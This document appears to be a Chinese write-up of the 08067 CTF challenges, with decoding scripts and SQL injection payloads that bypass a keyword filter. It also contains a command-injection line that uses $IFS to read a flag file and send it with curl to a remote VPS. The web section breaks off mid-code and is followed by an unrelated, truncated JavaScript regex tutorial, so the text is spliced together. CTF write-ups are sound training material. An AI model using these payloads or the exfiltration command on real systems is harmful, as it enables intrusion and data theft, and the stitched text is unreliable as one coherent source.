者:08067
預估稿費:300RMB(不服你也來投稿啊!)
投稿方式:發(fā)送郵件至linwei#360.cn,或登陸網(wǎng)頁版在線投稿
比賽地址:ctf.08067.me
misc 100-1
http://misc.08067.me/misc4
misc 100-1 很簡單,就是jsfuck和brianfuck兩次編碼,直接解出即可。
Misc 100-2
http://misc.08067.me/misc3/
Misc 100-2題目給的是一個圖片,用winhex打開看到底部的密文
Base32解密得到:vbkq{ukCkS_vrduztucCVQXVuvzuckrvtZDUBTGYSkvcktv}
發(fā)現(xiàn)是凱撒加密,不過奇偶數(shù)移位方向不一樣,發(fā)現(xiàn)偏移量是16,用腳本跑一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | str = "vbkq{ukCkS_vrduztucCVQXVuvzuckrvtZDUBTGYSkvcktv}" for i in range ( 26 ): key = '' for x in str : s = ord (x) if (s not in range ( 97 , 123 )) and (s not in range ( 65 , 91 )): key = key + chr (s) else : #print chr(s) if s in range ( 97 , 123 ): if s % 2 = = 0 : s = s - i if s not in range ( 97 , 123 ): t = 97 - s t = 123 - t key = key + chr (t) else : key = key + chr (s) else : s = s + i if s not in range ( 97 , 123 ): t = s - 122 + 96 key = key + chr (t) else : key = key + chr (s) else : #print chr(s) if s % 2 = = 0 : s = s - i if s not in range ( 65 , 91 ): t = 65 - s t = 91 - t key = key + chr (t) else : key = key + chr (s) else : s = s + i if s not in range ( 65 , 91 ): t = s - 90 + 64 key = key + chr (t) else : key = key + chr (s) print key |
Misc 150
http://misc.08067.me/misc2/
打開wireshark數(shù)據(jù)包,提取http數(shù)據(jù),得到一個flag.zip,
解壓得到一個ce.txt文件,打開發(fā)現(xiàn)是一個rgb圖片的像素點,然后用腳本還原即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | from PIL import Image import re if __name__ = = '__main__' : x = 887 y = 111 i = 0 j = 0 c = Image.new( "RGB" , (x,y)) file_object = open ( 'ce.txt' ) for i in range ( 0 , x): for j in range ( 0 , y): line = file_object. next () lst = line.split( "," ) c.putpixel((i, j), ( int (lst[ 0 ]), int (lst[ 1 ]), int (lst[ 2 ]))) c.show() c.save( "c.png" ) |
web 200-1
http://web1.08067.me/
注入,過濾了空格、#、*、union、like、regexp、and、or、|、--、&、%0a、%0b、%0c、%0d等,需要想辦法用其他操作符連接注入語句和閉合’。
mysql操作符參考:http://blog.csdn.net/yuzongtao/article/details/45044963
幾個可用的poc:
1 | uname='!=!!(ascii(mid((passwd)from(1)))=99)!=!!'1&passwd=dddd |
1 | uname=12'%(ascii(mid((passwd)from(1)))=99)%'1&passwd=dddd |
1 | uname=12'%(ascii(mid((passwd)from(1)))=99)^'1&passwd=dddd |
1 | uname=12'-(length(trim(leading%a0'c12'%a0from%a0passwd))<32)-'0&passwd=1 |
來到后臺,可以執(zhí)行命令,但是對反彈shell的一些關鍵字做了過濾,對空格也做了過濾,只能通過cat讀取flag,沒又回顯,然后打到用遠程vps的日志上面
exp:
curl$IFS\vps:1234/`cat$IFS\../../flag`
web 200-2
http://web3.08067.me/
這道題主要是考察了php底層 wakeup 的一個bug,https://bugs.php.net/bug.php?id=72663
這道題根據(jù)tips:編輯器,可以考慮到.bak文件泄露
通過 robots.txt 發(fā)現(xiàn)了 function.php commom.php ,
最后找到了 function.php.bak index.php.bak
我們就獲得了 整道題的代碼
Index.php.bak
我們可以看見了這里 通過 cookie 的登陸
/function.php.bak
其他過濾代碼 在該文件都可以得到
addslashes_deep() 是無法繞過的,我們就只能繞過wakeup
根據(jù)那個bug 的描述,我們直接進入 __destruct() ,這里我們?nèi)〕隽?$this->name
$this->name 是base64decode后,然后反序列化得到的,不用考慮waf等東西
我們看了這里只有一個 Checksql($sql)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 | //sql 過濾 static function CheckSql($db_string,$querytype='select') { $clean=''; $error=''; $old_pos=0; $pos=-1; if($querytype=='select') { $notallow1="[^0-9a-z@\._-]{1,}(load_file|outfile)[^0-9a-z@\.-]{1,}"; if(preg_match("/".$notallow1."/i", $db_string)) { exit("Error"); } |
內(nèi)容是《Web前端開發(fā)之Javascript視頻》的課件,請配合大師哥《Javascript》視頻課程學習。
正則表達式(regular expression),是一個描述字符模式的對象,其以一種簡單的方式描述或匹配一系列符合某個語法規(guī)則的字符串;
ES使用RegExp類型來表示正則,其在String和RegExp類型都定了相關的正則方法,后者的功能更加強大;
語法:
直接量:var expression=/ pattern / flags;
RegExp:構造函數(shù)var expression=new RegExp(“pattern” [, “flags”]);
// 匹配所有包含wei的字符串
var pattern = /wei/; // 直接量
var pattern = new RegExp("wei"); // 構造函數(shù)
var str = "wangwei";
console.log(pattern.test(str));
正則的模式(pattern)可以是任何簡單或復雜的正則表達式,其由一個字符序列組成的,可以包含字符數(shù)字、限定符、分組、向前查找以及反向引用;
修飾符:
用來描述待匹配字符串的規(guī)則;其位置在 / 符號之外,或作為構造函數(shù)的第2個參數(shù);
其支持3個標志:
var str = "wangwei name is wangwei \r\n my WANGWEI age is 18 wangwei";
var reg = /wangwei/; // 一個數(shù)組對象,但只包含一個wangwei
var reg = /wangwei/g; // ["wangwei", "wangwei", "wangwei"]
var reg = /wangwei/ig; // ["wangwei", "wangwei", "WANGWEI", "wangwei"]
var reg = /wangwei/img; // ["wangwei", "wangwei", "WANGWEI", "wangwei"]
console.log(str.match(reg));
一個正則表達式就是一個模式與上述3個標志的結合體,不同組合產(chǎn)生不同結果,如:
var pattern1 = /at/g; // 匹配字符串中所有at的實例
var pattern2 = /[bc]at/i; // 匹配第一個bat或cat,不區(qū)分大小寫
var pattern3 = /.at/gi; // 匹配所有以at結尾的3個字符的組合,不區(qū)分大小寫
另一種創(chuàng)建正則表達式的方式是使用RegExp構造函數(shù);它接收兩個參數(shù):一個是要匹配的字符串模式,另一個是可選的修飾符字符串;如:
var pattern1 = new RegExp("[bc]at","i");
也可以不使用new操作符,其等同于new RegExp();但如果pattern參數(shù)是一個正則表達式時有所不同,它只是簡單地返回pattern,而不會創(chuàng)建一個新的RegExp對象,但如果使用了不同的修飾符,就會返回新的RegExp對象:
var re = new RegExp(".at","g");
newre = RegExp(re); // true
newre = RegExp(re,"i"); // false
console.log(re === newre);
RegExp構造函數(shù)最大的特點是可以動態(tài)的創(chuàng)建正則表達式,這種情況往往用在:沒辦法通過寫死在正則直接量中;
for(var j=0;j<arr.length; j++){
arrStr[i] = arrStr[i].replace(arr[j],"**");
// var reg = new RegExp(arr[j],"img");
// arrStr[i] = arrStr[i].replace(reg,"**");
}
轉義符:如果模式中用到特殊字符(元字符),包括非字母字符,必須使用轉義 \ ,包括\自身:
如果使用RegExp構造函數(shù),轉換符必須使用雙 \ ,即 \:
var str = "wangwei name is [wangwei] \r\n my WANGWEI age is 18 wangwei";
var reg = /wangwei/img; // ["wangwei", "wangwei", "WANGWEI", "wangwei"]
var reg = /\[wangwei\]/img; // ["[wangwei]"]
var reg = new RegExp("\\[wangwei\\]", "img"); // ["[wangwei]"]
console.log(str.match(reg));
有關特殊字符(元字符)還有很多,后面會講到。
精確匹配:
正則表達式中,出現(xiàn)了什么字符,就匹配什么字符,如/zero/,表示zero必須出現(xiàn)在字符串中,才能匹配。
這種和查找替換子字符串沒有什么區(qū)別,很不靈活。
元字符:
元字符是正則表達式擁有特殊含義的字符,即是正則表達式語法的一部分,其包括:
^ $ . * + ?=! : | \ / ( ) [ ] { } (15個)
這些元字符在正則表達式中都有一或多種特殊用途,某些符號只有在正則的某些上下文中才具有某種特殊含義,在其他上下文中則被當作直接量處理;然而,任何時候,如果要使用這些特殊字符進行匹配,都必須進行轉義。
如:var re=/\?/; 或者:var re=new RegExp(“\?”); (雙重轉義)
var pattern1 = /[bc]at/i; // 匹配第一個bat或cat,不區(qū)分大小寫
var pattern2 = /\[bc\]at/i; // 匹配第一個[bc]at,不區(qū)分大小寫
var pattern3 = /.at/gi; // 匹配所有以at結尾的3個字符的組合,不區(qū)分大小寫
var pattern4 = /\.at/gi; // 匹配所有.at,不區(qū)分大小寫
注:其他標點符號沒有特殊含義,可以直接當作字面量進行匹配;如果記不住這些特殊符號,可以為每個標點符號前都加上反斜杠;另外,許多字母和數(shù)字在有反斜杠做前綴時也有特殊含義。
使用特殊字符:
可以直接使用字符表示它們本身,但也可以使用它們的ASCII或者Unicode代碼來指定字符;要使用ASCII來表示一個字符,則必須指定一個兩位的十六進制代碼,并在前面加上\x
也可以使用八進制代替十六進制來指定字符;
如果要使用Unicode來表示,必須指定字符串的四位的十六進制\uxxxx
var sColor = "blue";// b的ASCII為98, 等于十六進制62,因此b可以用\x62
var re = /\x62/; // 16進制
var re = /\142/; // 8進制
var re = /\u0062/; // Unicode
console.log(re.test(sColor));
其他特殊字符:
\o NUL字符(\u0000)、 \t 制表符(\u0009)、 \n 換行符(\u000A)、 \v 垂直制表符(\u000B)、 \f 換頁符(\u000C)、 \r 回車符(\u000D)、 \b 回退字符、 \a alert 字符、 \e escape字符、 \xnn由16進制數(shù)nn指定的拉丁字符,如:\x0A等價于\n、 \uxxxx由16進制數(shù)xxxx指定的Unicode字符,如:\u0009等價于\t、 cX與X相對應的控制字符,如,\cJ等價于換行符\n。
<textarea id="txt"></textarea>
<textarea id="result"></textarea>
<p id="myp"></p>
<input type="button" onclick="show()" value="提交" />
<script>
function show(){
var str = document.getElementById("txt").value;
var re = /\n/g;
str = str.replace(re, "\n"); // 保存在數(shù)據(jù)中
document.getElementById("result").value = str;
str = str.replace(re, "<br/>"); // 顯示在頁面中
document.getElementById("myp").innerHTML = str;
}
預定義字符:
也稱為字符類;一個字符類可以匹配它所包含的任意字符;由于某些模式會反復用到,所以提供了一些預定義字符來提高匹配的效率;
var str = "567 9838 zeronetwork 王唯";
var re = /./gi;
var re = /\d/gi;
var re = /\d\d\d/gi;
var re = /\D/gi;
var re = /\s/gi;
var re = /\S/gi;
var re = /\w/gi;
var re = /\W/gi;
console.log(str.match(re));
注:以上的字符指的是ASCII字符,非Unicode字符
范圍:
通過將一些字符放入方括號中,表示要匹配的范圍;
var str = "a bat, a Cat, a fAt baT, a faT, a faT cat";
var re = /[bcf]at/gi; //["bat", "Cat", "fAt", "baT", "faT", "faT", "cat"]
var re = /[\u0062cf]at/gi; //["bat", "Cat", "fAt", "baT", "faT", "faT", "cat"]
var re = /[^bc]at/gi; //["fAt", "faT", "faT"]
console.log(str.match(re));
var str = "num1, num2, num3, num4, num5, num6, num7, num8, num9";
var re = /num[1-4]/gi;
console.log(str.match(re)); // ["num1", "num2", "num3", "num4"]
var str = "567 9838 abc";
var re = /[0-9][0-9][0-9]/gi; // ["567", "983"]
var re = /[0-9]{3}/gi; // ["567", "983"]
console.log(str.match(re));
注:有些字符類轉義字符只能匹配ASCII字符,還沒有擴展到可以處理Unicode字符,但可以通過十六進制表示法來顯式定義Unicode字符類,如:/[\u0400-\u04FF]/ 用以匹配所有Cyrillic字符(斯拉夫語)
量詞(重復):
量詞就是指定某個特定模式出現(xiàn)的次數(shù);(如,可以把兩位數(shù)字描述為/\d\d/,四位數(shù)描述為/\d\d\d\d/,那一千位呢?);
在正則模式之后跟隨用以指定字符重復的標記,即量詞;如{4}表示重復4次;
當指定某個模式應當出現(xiàn)的次數(shù)時,可以指定硬性數(shù)量(如:{3}表示某個字符應該出現(xiàn)三次),也可以指定軟性數(shù)量(如:+表示某個字符至少出現(xiàn)一次,可以重復任意次);
量詞:
var str = "wangwei age is 18, (birthday) is 1998 year. jing123 age is";
var re = /\d{2,4}/g; // ["18", "1998"]
var re = /\w{4}\d?/g;
var re = /\s+age\s+/g; // [" age ", " age "]
var re = /[^(|)]*/g; // 匹配非左括號或右括號的字符
console.log(str.match(re));
貪婪與非貪婪:
var str = "wwwwww";
var re = /w{2,4}/;
console.log(str.match(re)); // wwww
var str = "wangwei";
var re = /\w+/;
console.log(str.match(re)); // wangwei
以上匹配的特點是:盡可能多地匹配;這種匹配稱為“貪婪”匹配;
貪婪量詞的原理:先看整個字符串是否匹配,如果沒有發(fā)現(xiàn)匹配,它去掉該字符串中的最后一個字符,并再次嘗試,如果還沒有發(fā)現(xiàn)匹配,那么再去掉最后一個字符,這個過程一直重復到發(fā)現(xiàn)一個匹配或者字符串不剩下任何字符;
與貪婪對應的就是非貪婪,稱為惰性方式,只需要在量詞的后面跟隨一個?問號即可,如:??、+?、*?或{1,5}?;如:修改上例;
惰性量詞的原理:先看字符串中的第一字母是否匹配,如果不匹配,再讀出下一字符,一直繼續(xù),直到發(fā)現(xiàn)匹配或者整個字符串都檢查過出沒有匹配,與貪婪工作方式相反;
支配量詞:只嘗試匹配整個字符串;如果整個字符串不匹配,就不做進一步嘗試;(已不被支持)
貪婪與惰性和支配量詞說明:
var str = "wwwww";
var re = /w{1,}/; // wwwww
var re = /w{1,}?/; // w
console.log(str.match(re));
var str = "abbbaabbbaaabbb1234";
var re = /.*bbb/g; // "abbbaabbbaaabbb"
var re = /.*?bbb/g; // ["abbb", "aabbb", "aaabbb"]
console.log(str.match(re));
使用非貪婪模式所得到的結果可能和期望并不一致:
var str = "aaab";
var re = /a+b/; // aaab
var re = /a+?b/; // aaab
console.log(str.match(re));
復雜模式:表達式還可以由分組,反向引用,前瞻和其他一些強大的正則表達式功能組成;
候選:
候選就是用“|”來表示的模式或關系,它表示的是在匹配時可以匹配“|”的左邊或右邊。這個“|”相當于“或”。
var str = "i like colors:red black";
var re = /red|black|green/; // red
console.log(str.match(re));
var re = /jpg|png|gif/;
console.log(re.test("xxx.jpg"));
var str = "wang is 18 age."
var re = /\d{2}|[a-z]{4}/; // wang
console.log(str.match(re));
候選項的嘗試匹配次序是從左到右,直到發(fā)現(xiàn)了匹配項;如果左邊的選擇項匹配,就忽略右邊的匹配項,即使它會產(chǎn)生更好的匹配,如:
var str = "abcde";
var re = /a|ab/; // a 只會匹配一個a
console.log(str.match(re));
候選結合replace() 方法 主要用在從用戶輸入刪除不合適的單詞;
var str = "你媽的他媽的不是東西,都是壞蛋!";
var re = /壞蛋|你媽的|他媽的/gi;
var newStr = str.replace(re,"****");
console.log(newStr);
var newStr = str.replace(re,function(sMatch){
return sMatch.replace(/./g, "*");
});
console.log(newStr);
分組(捕獲組):
通過用一對圓括號,可以把單獨的項組合成子表達式;
var str = "wangwei1998";
var re = /[a-z]+(\d+)/;
console.log(str.match(re));
為什么需要分組:
它是一個組合項或子匹配,可作為一個單元,統(tǒng)一操作;如可以統(tǒng)一使用|、*、+等進行處理。
可以把分組匹配的結果單獨抽取出來以備后用;
var str = "javascript";
var re = /java(script)?/; // true script可有可無
console.log(re.test(str));
var str = "dogdogdog";
var re = /(dog){3}/;
console.log(str.match(re));
// 只關心匹配尾部的數(shù)字,把它單獨提取出來
var str = "京A88888";
var re = /.{2}(\d+)/;
var arr = re.exec(str);
console.log(arr);
console.log(arr[1]);
還可以嵌套分組:
var str = "zeronetwork";
var re = /(zero(net(work)))/;
console.log(str.match(re));
反向引用:
每個分組都被存放在一個特殊的地方以備將來使用,這此分組也稱為捕獲組,這些存儲在分組中的特殊值,稱之為反向引用;即允許在同一正則表達式的后部引用前面的子表達式;其是通過在字符“\”后加一位或多數(shù)數(shù)字實現(xiàn)的,該數(shù)字指定了分組的子表達式的在正則中的位置:
var str = "god godod gododod godododod";
var re = /g(od)\1*/g;
console.log(str.match(re));
由于分組可以嵌套,所以反向引用是按照從左到右遇到的左括號的順序進行創(chuàng)建和編號的,如 (A?(B?(C?))) 1.(A?(B?(C?))) 2.(B?(C?)) 3. (C?):
var str = "aaabbccbb aaabbccbb";
var re = /(a+(b+))(c)\3\2\s\1/;
console.log(str.match(re));
對分組的引用,并不是對分組表達式的引用,而是對分組模式相匹配的文本的引用;再如:
// 匹配單引號與雙引號之間的字符
var str = 'wangwei \'is" "18 old", he is \'good\' man';
var re = /['"][^'"]*['"]/g; // 不要求引號的匹配
var re = /(['"])[^'"]*\1/g; // 不要求引號的匹配
console.log(str.match(re));
反向引用的情景:通常用來處理相同連續(xù)的內(nèi)容,如:
// 匹配連續(xù)相同的三個數(shù)字
console.log("111a222b333c123d".match(/(\d)\1\1/ig));// ["111", "222", "333"]
console.log("111a222b333c123d".match(/(\d)\1{2}/ig));//["111", "222", "333"]
// 不同點,這是匹配3個數(shù)字,而不是相同的數(shù)字
console.log("111a222b333c123d".match(/(\d){3}/ig)); // ["111", "222", "333", "123"]
//匹配ABAB格式的數(shù)字,如:1212或3434
console.log("1212a3434b4545c123d".match(/(\d)(\d)\1\2/g)); // ["1212", "3434", "4545"]
// 匹配ABBA格式的數(shù)字,如:1221或3443
console.log("1221a3443b4554c123d".match(/(\d)(\d)\2\1/g)); //["1221", "3443", "4554"]
// 檢索html標記及內(nèi)容
var html = '請訪問:<a href="https://www.zeronetwork.cn">zeronetwrok</a>網(wǎng)站';
var reg = /<(\w+)[\s]*.+?>(.*)<\/\1>/ig;
console.log(html.match(reg));
反向引用幾種使用方法:
使用正則表達對象的test(), match(), search()方法后,反向引用的值可以從RegExp構造函數(shù)中獲得;
var str = "#123456789";
var re = /#(\d+)/;
re.test(str);
console.log(RegExp.$1); // 123456789
// 去重
var str = "aaaabbbbbbbcccccc";
var re = /(\w)\1*/g;
console.log(str.replace(re, "$1")); // abc
// 格式化輸出
var str = "1234 5678";
var re=/(\d{4}) (\d{4})/;
var newStr = str.replace(re, "$2 $1"); // 5678 1234
console.log(newStr);
非捕獲性分組:
反向引用,稱為捕獲性分組;如果只需要組合,不需要反向引用,則可以使用非捕獲性分組;
在較長的正則表達式中,存儲反向引用會降低匹配速度;
非捕獲性分組:在左括號的后面加一個問號和一個緊跟的冒號,如:(?: );此時,使用\n就訪問不了捕獲組了。
var str = "zeronetwork";
var re = /(?:net)/;
console.log(str.match(re));
console.log(RegExp.$1); // 空
// 刪除HTML標識
String.prototype.stripHTML = function(){
var re = /<(?:.|\s)*?>/g;
return this.replace(re,"");
};
var str="<a href=#><b>零點程序員</b></a>";
document.write(str + "<br>");
document.write(str.stripHTML());
邊界:
邊界(bounday):用于正則表達式中表示模式的位置;也稱為匹配表達式的錨:
var str = "JavaScript"; // JavaScript
var str = "JavaScript Code"; // null
var re = /^JavaScript$/; // 如果不使用$,使用\s也可以,但是包含了空格
console.log(str.match(re));
var str = "Study Javascript Code. JavaScripter is good";
var re = /Java[sS]cript/g; // ["Javascript", "JavaScript"]
var re = /\bJava[sS]cript\b/g; // ["Javascript"]
var re = /\bJava[sS]cript\B/g; // ["JavaScript"]
var re = /\B[sS]cript/g; // 不會匹配單獨的script或Script
console.log(str.match(re));
var str = "wangwei is good man";
var re = /(\w+)$/; // man
re.test(str);
console.log(RegExp.$1);
var re = /^(\w+)/; // wangwei
re.test(str);
console.log(RegExp.$1);
var re = /^(.+?)\b/; // wangwei
re.test(str);
console.log(RegExp.$1);
var str = "First second third fourth fifth sizth";
var re = /\b(\S+?)\b/g;
var re = /\b(\w+)\b/g;
var arr = str.match(re);
console.log(arr);
前瞻(先行斷言):
前瞻(lookahead) :是指檢查接下來出現(xiàn)的是不是位于某個特定字符之前;分為正向和負向;
正向前瞻要將模式放在(?=和 )之間,如:(?=p);要求接下來的字符都與p匹配,但不能包括匹配p的那些字符;也稱為正向先行斷言;
負向前瞻:將模式放到(?! 或 ) 之間,如:(?!p);要求接下來的字符不與p匹配;也稱為負向先行斷言;
注:雖然用到括號,但這不是分組;JS不支持后瞻,后瞻可以匹配,如:匹配b且僅當它前面沒有a;
var str1 = "bedroom Bedding";
var re = /([bB]ed(?=room))/; // bed
var re = /([bB]ed(?!room))/; // Bed
console.log(str1.match(re));
console.log(RegExp.$1);
var str = "Javascript: function is simple javascript.";
var re = /[jJ]avascript(?=:)/g; // Javascript 后面有冒號才匹配
var re = /[jJ]avascript(?!:)/g; // javascript 后面沒有冒號才匹配
console.log(str.match(re));
var str = "JavaScript Javascript JavaBeans javascripter";
var re = /[jJ]ava(?=[sS]cript)/g; // ["Java", "Java", "java"]
var re = /[jJ]ava(?![sS]cript)/g; // Java
var re = /[jJ]ava(?![sS]cript)\w+/g; // JavaBeans
console.log(str.match(re));
// 添加千分位
var str = "錢:1234567890123";
var re = /(?=(\B)(\d{3})+$)/g;
console.log(str.match(re));
console.log(str.replace(re, ","));
多行模式:
要指定多行模式,需要指定m選項,如果待匹配字符串包含多行,那么^與$錨字符除了匹配整個字符串的開始和結尾之外,還能匹配每行的開始和結尾;
var str = "wangwei is\ntechnical director\nof zeronetwork";
var re = /(\w+)$/g; // zeronetwork
var re = /(\w+)$/gm; // ["is", "director", "zeronetwork"]
console.log(str.match(re));
var re = /^(\w+)/g; // wangwei
var re = /^(\w+)/gm; // ["wangwei", "technical", "of"]
console.log(str.match(re));
var re = /^(.+)$/g; // null 如果待匹配字符串中有換行,如果不使用m,則結果為null
console.log(str.match(re));
RegExp實例屬性:
RegExp的每個實例都具有下列屬性,通過這些屬性可以取得有關模式的各種信息;
var str = "wangwei name is Wangwei \r\n WANGWEI age is 18 wangwei";
var reg = /Wangwei/img;
console.log("g:" + reg.global + ",i:" + reg.ignoreCase + ",m:" + reg.multiline);
console.log("s:" + reg.source);
reg.test(str);
console.log(reg.lastIndex);
var pattern = new RegExp("wangwei","img");
console.log("g:" + reg.global + ",i:" + reg.ignoreCase + ",m:" + reg.multiline);
console.log("s:" + reg.source);
reg.lastIndex = 0;
reg.test(str);
console.log(reg.lastIndex);
RegExp實例方法:
繼承的方法:
toLocaleString()和toString()方法,是RegExp實例繼承的方法,其都會返回正則表達式的字面量,與正則表達式的方式無關,如:
var pattern = new RegExp("\\[bc\\]]at","gi");
alert(pattern.toString()); // /\[bc\]]at/gi
alert(pattern.toLocaleString()); // /\[bc\]]at/gi
說明:即使是通過RegExp構造函數(shù)創(chuàng)建的,但toLocaleString()和toString()方法仍然會像它以字面量的形式返回;
正則表達式的valueOf()方法返回正則表達式本身;
alert(pattern.valueOf()); // /\[bc\]]at/gi
RegExp對象定義了兩個用于執(zhí)行模式匹配操作的方法;它們的行為與String類中的與模式相關的方法很類似;
test()方法:
測試目標字符串與某個模式是否匹配,接受一個字符串參數(shù),如果匹配返回true,否則返回false,該方法使用非常方便,一般被用在if語句主,如:
var pattern = /zero/i;
console.log(pattern.test("Zeronetwork")); // true
var text = "000-00-0000";
var pattern = /\d{3}-\d{2}-\d{4}/;
if (pattern.test(text)){
alert("匹配");
}
exec()方法:
是RegExp對象最主要的方法,該方法是專門為捕獲組而設計的;
其會接受一個參數(shù),即要應用模式的字符, 會返回第一個匹配項信息的數(shù)組(就像String類的match()方法為非全局檢索返回的數(shù)組一樣);如果沒有匹配成功,返回null;在數(shù)組中,第一項是與整個模式匹配的字符串,其他項是與模式中的捕獲組匹配的字符串(如果模式中沒有捕獲組,該數(shù)組只包含一項);
返回的雖然為Array實例,但包含兩個額外的屬性:index和input;index表示匹配項在字符串中的位置,而input表示應用正則表達式的字符串;
var text = "mom and dad and baby";
var pattern = /mom( and dad( and baby)?)?/gi;
var arr = pattern.exec(text);
console.log(arr); // mom and dad and baby, and dad and baby, and baby
console.log(arr.index); // 0
console.log(arr.input); // mom and dad and baby
console.log(arr[0]); // mom and dad and baby
console.log(arr[1]); // and dad and baby
console.log(arr[2]); // and baby
對于exec(),不管有沒有設置全局標志,其每次也只會返回一個匹配項;在不設置全局標志情況下,在同一個字符串上多次調用exec() 將始終返回第一個匹配項的信息。而設置全局標志的情況下,每次調用exec()則都會在字符串中繼續(xù)查找新匹配項,會將當前正則對象的lastIndex屬性設置為緊挨著匹配子串的字符位置,為下一次執(zhí)行exec()時指定檢索位置;如果exec()沒有匹配結果,lastIndex被重置為0;
var text = "cat, bat, sat, fat";
var pattern = /.at/; // 沒有使用g全局
var pattern = /.at/g; // 使用g全局
var matches = pattern.exec(text);
console.log(matches);
console.log("match:"+matches[0]+",index:" + matches.index + ",lastIndex:" + pattern.lastIndex);
// 再一次執(zhí)行,使不使用g,結果不一樣
matches = pattern.exec(text);
console.log(matches);
console.log("match:"+matches[0]+",index:" + matches.index + ",lastIndex:" + pattern.lastIndex);
// 再一次執(zhí)行,使不使用g,結果不一樣
matches = pattern.exec(text);
console.log(matches);
console.log("match:"+matches[0]+",index:" + matches.index + ",lastIndex:" + pattern.lastIndex);
注:IE的lastIndex屬性有偏差,即使在非全局模式下,lastIndex屬性每次也會有變化;
使用test()與exec()是等價的,當exec()的結果不是null,test()返回true時,它們都會影響模式的lastIndex()屬性,當然是在全局下;如此,也可以使用test()遍歷字符串,就跟exec()一樣,如:
var text = "cat, bat, sat, fat";
var pattern = /.at/g;
console.log(pattern.test(text));
console.log(pattern.lastIndex);
console.log(pattern.test(text));
console.log(pattern.lastIndex);
// 一直調用4次,test()就會返回false
// 遍歷
var text = "cat, bat, sat, fat";
var pattern = /.at/g;
while(pattern.test(text)){
console.log(pattern.lastIndex);
}
lastIndex屬性是可讀寫的,可以在任何時候設置它,以便定義下一次搜索在目標字符串中的開始位置;exec()和test()在沒有找到匹配項時會自動將lastIndex設置為0;如果在一次成功的匹配之后搜索一個新的字符串,一般需要顯式地把這個屬性設置為0;
var text = "cat, bat, sat, fat";
var pattern = /.at/g;
console.log(pattern.exec(text));
console.log(pattern.lastIndex);
// 匹配新的字符串
var str = "gat,good,pat";
pattern.lastIndex = 0; // 3 如果沒有此句,返回9,即pat的位置
console.log(pattern.exec(str));
console.log(pattern.lastIndex);
RegExp構造函數(shù)屬性:
RegExp構造函數(shù)包括一些屬性,這些屬性適用于作用域中的所有正則表達式,并且基于所執(zhí)行的最近一次操作而變化,另外這些屬性名都有別名,即可以通過兩種方式來訪問它們,可以稱為長屬性和短屬性;
input -- $_ :最近一次要匹配的字符串;
lastMatch -- $& :最近一次的匹配項;
lastParen -- $+ :最近一次匹配組;
leftContext -- $` :input字符串中l(wèi)astMatch之前(左邊)的文本
rightContext -- $’ :input字符串中l(wèi)astMatch之后(右邊)的文本
multiline -- $* :布爾值,表示是否所有表達式都使用多行模式,部分瀏覽器未實現(xiàn)
使用這些屬性都可以從exec()或test()執(zhí)行的操作中提取出更具體的信息;
var text = "this has been a short summer";
var pattern = /(.)hort/gm;
if(pattern.test(text)){
console.log(RegExp.input); // this has been a short summer
console.log(RegExp.lastMatch); // short
console.log(RegExp.lastParen); // s
console.log(RegExp.leftContext); // this has been a
console.log(RegExp.rightContext); // summer
console.log(RegExp.multiline); // undefined
}
由于短屬性大都不是有效JS標識符,所以必須通過方括號訪問;
if(pattern.test(text)){
console.log(RegExp.$_); // this has been a short summer
console.log(RegExp["$&"]); // short
console.log(RegExp["$+"]); // s
console.log(RegExp["$`"]); // this has been a
console.log(RegExp["$'"]); // summer
console.log(RegExp["$*"]); // false
}
除了以上,還有9個用于存儲捕獲組的構造函數(shù)屬性,語法為: RegExp. . RegExp.…..RegExp., 分別用于匹配第一,第二…第九個捕獲組,在調用exec()或test()方法時,這些屬性會被自動填充;
var text = "this has been a short summer";
var pattern = /(..)or(.)/g;
if(pattern.test(text)){
console.log(RegExp.$1); // sh
console.log(RegExp.$2); // t
console.log(RegExp.$3); // ""
}
說明:包含了兩個捕獲組;本質上就是反向引用。
字符串方法:
正則是用在字符串String類型上的,所以String類型定義了幾個用于在字符串中匹配模式的方法;
search()方法:
接受的參數(shù)就一個正則表達式,其返回字符串中第一個匹配項的索引;如果沒有找到匹配項,則返回-1;如:
var text = "cat, bat, sat, fat";
// 以下的.at可以改成at
var pattern = /.at/; // 0
var pos = text.search(/.at/); // 0
var pos = text.search(/.at/g); // 0
console.log(pos);
search()不支持全局檢索,它會忽略正則表達式參數(shù)中的修飾符g;也會忽略RegExp的lastIndex屬性,總是從String的開始位置搜索,即它總是返回String中第一個匹配子串的位置;
如果search()參數(shù)不是正則表達式,則首先會通過RegExp構造函數(shù)將它轉換成正則表達式;
var text = "cat, bat, sat, fat";
var pos = text.search('at'); // 1
console.log(pos);
注:也可以理解為就是查找普通的字符串的索引位置;
match()方法:
本質上與RegExp的exec()方法相同;其只接受一個參數(shù),一個正則表達式或是一個RegExp對象,如果參數(shù)不是RegExp,則會被RegExp()轉換為RegExp對象,如:
var text = "cat, bat, sat, fat";
var pattern = /.at/;//["cat", index: 0, input: "cat, bat, sat, fat", ...]
var pattern = ".at";//會被轉換成RegExp對象
var pattern = /.at/g; //["cat", "bat", "sat", "fat"]
var matches = text.match(pattern);
console.log(matches);
返回一個包含匹配結果的數(shù)組,如果沒有匹配結果,返回null;
如果沒有使用修飾符g,match()不會進行全局檢索,它只會檢索第一個匹配,但其依然會返回一個數(shù)組,此時,數(shù)組唯一的一項就是匹配的字符串;
如果使用了分組,第一項是匹配的整個字符串,之后的每一項(如果有)保存著與正則表達式中的捕獲組匹配的字符串;
//["zeronetwork", "network", "work", index: 0, input: "zeronetwork is good zeronetwork", groups: undefined]
var str = "zeronetwork is good zeronetwork";
var re = /zero(net(work))/;
var re = /zero(net(work))/g;
var result = str.match(re);
console.log(result);
如果使用了全局檢索,數(shù)組會保存所有匹配結果;
match()方法如果使用了一個非全局的正則,實際上和給RegExp的exec()方法傳入的字符串是一樣的,它返回的數(shù)組帶有兩個屬性:index和input,index指明了匹配文本在String中的開始位置,input則是對該String本身的引用。
// 匹配URL
var str = "訪問零點網(wǎng)絡官網(wǎng):https://www.zeronetwork.cn/index.html";
var re = /(\w+):\/\/([\w.]+)\/(\S*)/;
var result = str.match(re);
console.log(result);
var o={};
if(result != null){
